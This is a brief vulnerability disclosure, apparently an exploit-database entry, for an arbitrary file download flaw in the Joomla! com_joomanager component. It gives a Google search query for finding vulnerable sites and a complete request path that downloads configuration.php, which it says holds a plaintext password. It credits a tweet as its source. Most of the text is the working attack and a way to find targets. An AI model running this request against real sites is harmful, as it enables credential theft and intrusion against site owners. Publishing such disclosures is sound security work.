Joomla! com_joomanager – Arbitrary File Download
1. Google inurl:"index.php?option=com_joomanager" = 3540 results 2. [URL]+/index.php?option=com_joomanager&controller=details&task=download&path=configuration.php gives a file which has password in PLAINTEXT! Source: https://twitter.com/ankit_anubhav/status/970673767750959104 |